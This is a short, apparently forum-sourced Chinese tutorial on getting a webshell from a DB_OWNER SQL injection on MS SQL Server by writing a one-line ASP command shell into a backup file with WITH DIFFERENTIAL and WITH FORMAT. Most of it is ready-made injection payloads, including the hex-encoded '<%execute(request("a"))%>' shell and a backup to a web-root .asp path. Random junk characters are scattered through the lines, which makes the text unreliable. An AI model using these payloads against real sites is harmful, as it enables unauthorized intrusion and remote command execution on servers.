DB_OWNER权限得到webshell的两点改进:
6 k) }, J0 [( }4 I/ N4 ]" ^, N1 r! F( J
减少备份文件大小,得到可执行的webshell成功率提高不少
% m4 M: P! Z: c7 x( T7 W' _1 l一利用差异备份; y5 N" o0 i) e/ |
加一个参数WITH DIFFERENTIAL4 e( X" P3 Q* z; Y7 z8 {
6 l" {! I' ~2 J; i3 @; h; Y+ ~1
. r0 @; y& A* I0 _1 O" c2
5 a# n# k0 ?. s8 Q* l3$ W5 Y5 G# S3 b' A) A
4
6 `, Z4 i+ t0 Y" q/ I declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s a6 x2 B6 w! K
create table [dbo].[xiaolu] ([cmd] [image]);0 ~& |3 `. ]) ^5 W
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 f- F- q$ |+ udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
( w3 M* _* X' ?" X; n, W- Z" x% U6 }3 P. \
二利用完全FORMAT# L4 D p h' ^# I! |
加一个参数WITH FROMAT3 \( ^; k; @: J) p2 [+ D$ N, E
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
" {3 X+ ]! s0 q( R+ A0 a1 |" }. q
1
9 a0 D' l$ V2 U6 v' Y) X2
- D2 z+ e- c' {, e+ _3" G6 ~0 O. f1 P1 }/ L- m+ q
4: B8 ?' b/ o3 n# z# B& \( [9 A- k4 A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
; ^2 }7 `2 B3 n4 gcreate table [dbo].[xiaolu] ([cmd] [image]);; z+ N1 j: W' k/ J; B- b0 Q/ I
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)& m* }. Y. m$ _) B) Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
7 R/ j8 S$ q+ Z
9 i! b/ ~. c; S. l总的来说就是那么简单几句,下面以备份数据库model为例子3 T) R; L3 \- V! u) Z* v9 o* P
1) ]: U- `1 C% `( a( `
6 T) A4 `5 I. F4 ^( d7 ^7 R
14 u1 K* n* @; ~: e
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
4 X2 S6 X+ t/ S! l* x! [0 O G" O9 }. L G0 b' b a! W& ^; U. ~1 J$ V
2
/ q2 |/ N; h, d+ v) J5 Z3 P6 B' r" f
' c; j3 ^; ]7 G( f: G! {7 D1
; ]! p# q X. p2 f4 J5 W' z4 ~ id=1;backup database model to disk='你的路径‘ with differential,format;-- $ i" Y) f# n8 H. j1 p6 C
|